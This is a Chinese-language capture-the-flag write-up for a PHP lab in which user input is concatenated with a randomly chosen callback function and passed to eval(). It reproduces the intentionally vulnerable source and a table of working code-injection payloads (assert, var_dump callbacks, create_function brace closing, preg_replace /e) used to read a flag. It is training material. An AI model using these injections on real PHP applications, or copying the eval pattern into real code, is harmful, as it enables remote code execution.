PHP回调函数RCE靶场 WriteUp
<?phpinclude("get_flag.php");global$flag;session_start();// 开启 sessionfunctionhello_ctf($function,$content){global$flag;$code=$function."(".$content.");";echo"Your Code:$code<br>";eval($code);}functionget_fun(){$func_list=['eval','assert','call_user_func','create_function','array_map','call_user_func_array','usort','array_filter','array_reduce','preg_replace'];if(!isset($_SESSION['random_func'])){$_SESSION['random_func']=$func_list[array_rand($func_list)];}$random_func=$_SESSION['random_func'];$url_fucn=preg_replace('/_/','-',$_SESSION['random_func']);echo"获得新的函数:$random_func,去 https://www.php.net/manual/zh/function.".$url_fucn.".php 查看函数详情。<br>";return$_SESSION['random_func'];}functionstart($act){$random_func=get_fun();if($act=="r"){/* 通过发送GET ?action=r 的方式可以重置当前选中的函数 —— 或者你可以自己想办法可控它x */session_unset();session_destroy();}if($act=="submit"){$user_content=$_POST['content'];hello_ctf($random_func,$user_content);}}isset($_GET['action'])?start($_GET['action']):'';highlight_file(__FILE__);?>一、 题目分析
题目核心代码如下:
functionhello_ctf($function,$content){global$flag;$code=$function."(".$content.");";echo"Your Code:$code<br>";eval($code);}代码逻辑:
系统从列表中随机抽取一个PHP函数赋给$function,用户通过 POST 提交content参数,两者拼接后进入eval()执行。例如:函数是array_filter,用户输入X,最终执行的就是array_filter(X);。
目标:构造合适的content,让拼接后的代码能读取全局变量$flag。
二、 踩坑记录与核心思路转变(重要!)
在最初尝试时,针对回调函数(如array_filter),我使用了assert作为回调来执行代码:
content=['echo $flag'], 'assert'报错:Fatal error: Uncaught ArgumentCountError: array_filter() expects at most 2 arguments, 3 given
原因分析:
- PHP版本问题:PHP 7.2 及以上版本,
assert()不再作为普通的可回调函数使用,将其作为字符串传入call_user_func或数组回调中会导致解析异常或参数错位。 - 变量解析问题:
$flag被解析为具体的字符串后,如果内部包含单引号或特殊字符,会导致原本的字符串提前闭合,使得 PHP 误判为传入了多余的参数。
核心思路转变:
对于带有回调特性的函数(array_map,array_filter,usort等),最稳定、最通用的方法不是让回调去“执行代码”,而是让回调去“打印变量”。
我们将$flag放入数组中,回调函数使用var_dump或print_r。系统执行时,会自动将数组中的$flag取出传给var_dump,从而直接输出 flag,完美避开assert的兼容性问题!
三、 抓包改包操作流程
- 访问首页,记录页面提示的随机函数名和Cookie (PHPSESSID)。
- 使用 Burp Suite / Hackbar 构造 POST 请求,URL 加上
?action=submit。 - 必须带上 Cookie,否则 Session 丢失,服务器会重新随机函数导致 Payload 失效。
- 在 Body 中传入对应的
content(注意:抓包改包时特殊字符需进行 URL 编码)。
四、 全函数 Payload 字典(抓包专用)
以下 Payload 均已解决引号闭合和参数数量问题,分为直接代码执行型和回调变量输出型。推荐优先使用
var_dump方法,通杀所有 PHP 版本。
1.eval/assert(直接执行型)
需用单引号包裹代码,拼接后为eval('echo $flag');
| 函数 | content 明文 | 抓包 Body (URL编码) |
|---|---|---|
| eval | 'echo $flag' | content='echo%20%24flag' |
| assert | 'echo $flag' | content='echo%20%24flag' |
2. 回调执行代码型(仅适用于 PHP < 7.2)
通过回调assert执行代码。
| 函数 | content 明文 | 抓包 Body (URL编码) |
|---|---|---|
| call_user_func | 'assert', 'echo $flag' | content='assert'%2C%20'echo%20%24flag' |
| call_user_func_array | 'assert', ['echo $flag'] | content='assert'%2C%20%5B'echo%20%24flag'%5D |
| array_map | 'assert', ['echo $flag'] | content='assert'%2C%20%5B'echo%20%24flag'%5D |
| array_filter | ['echo $flag'], 'assert' | content=%5B'echo%20%24flag'%5D%2C%20'assert' |
| usort | ['echo $flag','echo $flag'], 'assert' | content=%5B'echo%20%24flag'%2C'echo%20%24flag'%5D%2C%20'assert' |
| array_reduce | [0], 'assert', 'echo $flag' | content=%5B0%5D%2C%20'assert'%2C%20'echo%20%24flag' |
3. 回调变量输出型(🌟 通杀推荐,适配 PHP 7.2+)
不执行代码,直接用var_dump打印$flag变量本身,无需引号包裹$flag。
| 函数 | content 明文 | 抓包 Body (URL编码) |
|---|---|---|
| call_user_func | 'var_dump', $flag | content='var_dump'%2C%20%24flag |
| call_user_func_array | 'var_dump', [$flag] | content='var_dump'%2C%20%5B%24flag%5D |
| array_map | 'var_dump', [$flag] | content='var_dump'%2C%20%5B%24flag%5D |
| array_filter | [$flag], 'var_dump' | content=%5B%24flag%5D%2C%20'var_dump' |
| usort | [$flag,1], 'var_dump' | content=%5B%24flag%2C1%5D%2C%20'var_dump' |
| array_reduce | [$flag], 'var_dump' | content=%5B%24flag%5D%2C%20'var_dump' |
4. 特殊构造型
| 函数 | content 明文 | 抓包 Body (URL编码) | 原理 |
|---|---|---|---|
| create_function | '', '}echo $flag;/*' | content=''%2C%20'%7Decho%20%24flag%3B%2F*' | 提前闭合函数体,注释掉多余的} |
| preg_replace | '/./e', 'echo $flag', '1' | content='%2F.%2Fe'%2C%20'echo%20%24flag'%2C%20'1' | 利用/e修饰符执行替换字符串(仅限 PHP < 7.0) |
五、 总结
做 PHP 回调函数 RCE 题目时:
- 看清 PHP 版本:高版本直接放弃
assert回调。 - 思路要灵活:不要死磕“执行代码”,利用系统自带的输出函数(
var_dump,print_r)作为回调去“打印变量”是更优雅、更稳定的解法。 - 注意抓包细节:一定要带上 Session Cookie,且 Body 中的特殊字符(如空格、
$、[、])必须 URL 编码,否则极易出现参数解析错误。